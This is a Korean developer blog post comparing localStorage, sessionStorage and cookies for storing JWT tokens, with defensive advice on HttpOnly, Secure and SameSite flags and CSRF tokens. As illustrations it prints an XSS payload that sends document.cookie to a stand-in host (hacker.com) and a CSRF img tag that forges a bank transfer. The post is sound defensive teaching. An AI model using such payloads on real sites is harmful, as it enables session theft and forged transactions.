이 포스팅은 2024-05-22에 작성되었습니다.
(수정사항들)
(프론트엔드 초보의 JWT토큰 관리일기)
최근에 진행한 프로젝트에서 처음으로 프론트엔드를 개발해봤다! 그 과정에서 JWT토큰을 어디에 저장해야 안전하게 저장할 수 있는지에 대한 의문이 생겼다.
이번 프로젝트에서는 JWT토큰을 그대로 LocalStorage
에 저장했다. 토큰 저장공간으로 Local Storage를 선택한 이유는 다음과 같다.
pinia
(전역 상태관리 라이브러리), LocalStorage
, SessionStorage
, cookie
LocalStorage
, cookie
LocalStorage
이전에 JWT를 사용해 프로젝트를 진행할 때는 백엔드 입장에서 토큰을 발급해주고, 로그인할 때 검증을 해주는 역할만 했었는데 프론트엔드 입장이 되니 막막함이 컸다. 그래서 로컬 스토리지에 토큰을 저장할 때의 장단점을 제대로 알고 사용했다기보단, 구글링을 통해 사람들이 많이 사용하는 방법을 선택하게 된 것 같다. 3주 시간 내에 빠르게 개발을 해야하는 상황이었기 때문에 고민할 시간이 없었던 것도 있었다.
웹서비스에서 jwt 토큰을 관리하는 방법에 대해 더 알아보고자 블로그 글을 포스팅해보려고 한다!
JWT는 JSON Web Token
의 약자로, 모바일이나 웹의 사용자 인증을 위해 세션대신 사용되는 암호화된 토큰이다.
토큰은 세 부분으로 구성되며, 모두 base64 문자열로 표시된다. 이 세 부분은 마침표를 기준으로 연결된다.
사실 JWT토큰은 JSON 객체를 암호화하여 서명한 base64표현에 지나지 않는다. 누구나 jwt토큰에 들어있는 정보를 볼 수 있기 때문에 중요한 정보를 토큰에 포함한다면 굉장히 위험하다.
이런 JWT의 특징 때문에 로그아웃을 할 때나 JWT 토큰을 탈취당했을 때 해당 토큰을 서버에서 즉시 만료처리할 수 없다. (따로 저장하는 등의 방법을 사용해야한다.)
토큰을 탈취당하는 상황을 방지하기 위해 JWT는 대부분 accessToken과 refreshToken 두 가지의 토큰으로 구현된다. accessToken은 유효기간을 짧게 가져가서 토큰을 탈취 당하더라도 피해를 예방하고, refreshToken은 유효기간을 길게 가져가서 엑세스 토큰을 재발급하는 용도로 사용한다.
해커가 토큰을 사용하거나 탈취하는 방법을 알아야 우리의 소중한 토큰을 지킬 수 있기 때문에 관련 시나리오를 먼저 적어보려고 한다.
다양한데 주요 원인은 다음과 같다
XSS(Cross Site Scripting)
CSRF(Cross-Site Request Forgery)
보안이 취약한 웹사이트에 악의적인 스크립트를 걸어놓고 사용자가 이 스크립트를 강제로 실행하게끔 유도하는 방법
사용자가 스크립트를 실행하면 엑세스토큰을 탈취할 수 있다
자세한 내용이 궁금하다면 포스팅을 참고하길 바란다.
예시
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>
대응방법
아무리 다른 공격을 방어해도 XSS가 뚫리면 아무 소용이 없다. js코드가 실행된다면 로컬스토리지, 변수값 모든 것을 탈취할 수 있기 때문이다. XSS는 웹 보안의 뿌리이다!!
인터넷 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹사이트에 요청하게 만드는 공격기법
정상적인 request를 가로채 변조된 request를 보낸다. 피해자의 정보를 수정하거나 열람할 수 있다. img 태그나 링크로도 사용자 브라우저에서 악의적인 request를 보낼 수 있기 때문에 사용자 브라우저의 js를 조작하는 xss와 성격이 다르다.
😈 예시1
😈 예시2
😈 예시3
<img src="https://bank.example.com/transfer?amount=1000&to_account=attacker_account">
공격자가 사용자의 이넡넷 서버와 해당 인터넷 트래픽의 목적지 사이에 끼어들어 데이터 전송을 가로채는 기법.
보안이 허술한 네트워크에 연결하거나 Https 통신을 사용하지 않을 경우 피해를 입을 수 있다.
이 공격의 경우, 리프레쉬 토큰까지 탈취당할 수 있기 때문에 주의해야한다.
JWT토큰의 경우, 사용자가 웹페이지를 돌아다닐 때 계속 유지되어야하기 때문에 다음과 같은 클라이언트 공간에 저장될 수 있다.
JWT는 사용자의 개인정보이기 때문에 아무곳에나 저장해서는 안된다. 그래서 저장하는 공간에 따른 취약점을 알고 저장해야한다.
+) 다음 방법들은 https를 사용한다는 가정하에 장점과 단점을 서술하였다. http를 사용하면 사용자의 요청을 그대로 확인할 수 있기 때문에 어떻게 저장하든 토큰은 탈취당할 수 있다. jwt는 https를 사용한다는 가정하에 안전성이 보장된다.
👍 장점
👎 단점
로컬스토리지는 javascript 코드에 의해서만 엑세스할 수 있다는 특징이 있다.
쿠키의 경우 모든 request마다 자동으로 쿠키가 포함되기 때문에 CSRF 공격에 취약하다. 하지만 로컬스토리지에 저장된 JWT는 브라우저에서 자동으로 HTTP 요청에 포함되지 않기 때문에 로컬스토리지 자체는 CSRF 공격에 직접적으로 취약하지 않다. 로컬스토리지에 저장된 jwt토큰은 javascript 코드에 의해서만 요청에 담기기 때문이다.(사용자 정의 헤더를 통해 토큰을 보냄)
하지만 XSS공격이 성공한다면, 웹 애플리케이션이 호스팅된 동일한 도메인에서 실행되는 모든 자바스크립트 코드를 통해 로컬 저장소에 액세스할 수 있기 때문에 공격자는 로컬스토리지에 저장된 JWT토큰을 쉽게 탈취할 수 있다.
👍 장점
👎 단점
세션 스토리지는 사용자가 브라우저를 닫을 때 사라지고, 재방문시 로그인해야한다는 점을 제외하면 로컬스토리지와 동일하다.
👍 장점
👎 단점
쿠키 또한 javascript를 통해 접근할 수 있지만, httpOnly
플래그 설정 시 javascript로 접근자체가 불가능하다. 그래서 로컬스토리지에 비해 XSS공격으로부터 안전하다.
물론 HttpOnly도 XSS로부터 완전히 안전하진 않다. HttpOnly로 설정된 쿠키의 내용을 공격자가 볼 수 없다고 해도, 해당 쿠키가 실린 javascript 요청을 보낼 수 있으므로 요청을 쉽게 위조할 수 있다.
하지만 쿠키는 CSRF 공격에 취약하다. 자동으로 request와 같이 보내지는 쿠키의 특성상 사용자가 link를 클릭하도록 만들어 쉽게 request를 위조할 수 있다.
쿠키에 저장된 jwt토큰을 보호하기 위해 다음과 같은 보안방법을 사용할 수 있다.
secure
: https에서만 볼 수 있도록 함httpOnly
: javascript가 쿠키를 읽을 수 없음SameSite
__Host-
: 안전하지 않은 하위 도메인이 최상위 도메인의 쿠키를 변경하는 걸 방지이 설정을 사용한다면 XSS 공격이 JWT를 훔칠 수 없다.
구글링을 통해 JWT토큰을 저장하는 예시를 보며 좋은 방법을 찾아보려고 한다.
(꽤 많은 블로그가 이 방법을 채택하고 있었다)
블로그 링크1
블로그 링크2
블로그 링크3
블로그 링크4
구현 방법을 정리해보면 다음과 같다
✅ 로그인
secure
HttpOnly
쿠키로 설정, accessToken은 json payload(response body)로 반환+) 가능하면 refreshToken은 sameSite=strict
플래그를 사용해서 CSRF를 방지해야함. 이 플래그는 Authorization server가 프론트엔드와 같은 사이트 일때만 사용할 수 있음. 만약 이 경우가 아니라면 Authorization server는 CORS header를 백엔드에서 설정하거나 refresh token 요청을 인증된 웹사이트에서만 완료시킬 수 있도록 어떠한 방법으로든지 세팅해주어야 함
❓ 이유
secure
HttpOnly
쿠키에 저장함으로써 CSRF공격을 방어(공격자가 성공적으로 fetch나 AJAX 요청을 하거나 response를 읽는 것을 방지하려면 Authorization server의 CORS 정책을 인증되지 않은 웹사이트로부터 받지 않게 세팅을 잘 해두어야 함)
💌 구현예시(2024-05-28 수정)
이유
🙆♀️ 방법
X-CSRF-Token
이다. 백엔드의 모든 응답은 이 헤더를 전달하며, 프런트엔드가 POST/PUT/PATCH/DELETE 호출을 할 때마다 동일한 값을 가진 동일한 헤더와 함께 전송해야 한다httpOnly
플래그를 사용하여 javascript를 통해 엑세스가 불가능하도록 설정secure
플래그를 사용하여 https에서만 쿠키가 전송되도록 설정예시4와 같은 글링크이다. 첫 번째 댓글의 의견을 가져와봤다.
JWT를 쿠키에 저장할지, 로컬스토리지에 저장할지에 대한 의견은 굉장히 많다.
쿠키의 저장 공간이 최대 4KB라는 점 등을 잘 고려하여 서비스에 맞는 방법으로 구현하면 좋을 것 같다.
구글은 19년부터 쿠키를 제거하겠다고 말했지만... 계속 연기되고 있는 걸 보면 사라지지 않을 것 같기도 하다. (관련 기사: https://www.itworld.co.kr/news/335192) 만약 쿠키가 사라진다면 로컬스토리지에 어쩔 수 없이 저장해야할 것 같다.
https://auth0.com/blog/cross-site-request-forgery-csrf/
https://developer.mozilla.org/ko/docs/Web/HTTP/CSP
좋은 글이 너무 많아서 다음에 더 알아보려고 한다.
https://velog.io/@0307kwon/JWT%EB%8A%94-%EC%96%B4%EB%94%94%EC%97%90-%EC%A0%80%EC%9E%A5%ED%95%B4%EC%95%BC%ED%95%A0%EA%B9%8C-localStorage-vs-cookie
https://velog.io/@ckdwns9121/%ED%86%A0%ED%81%B0token%EC%9D%80-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%83%88%EC%B7%A8-%EB%8B%B9%ED%95%98%EB%8A%94%EA%B0%80
https://dev.to/gkoniaris/how-to-securely-store-jwt-tokens-51cf
https://medium.com/swlh/7-keys-to-the-mystery-of-a-missing-cookie-fdf22b012f09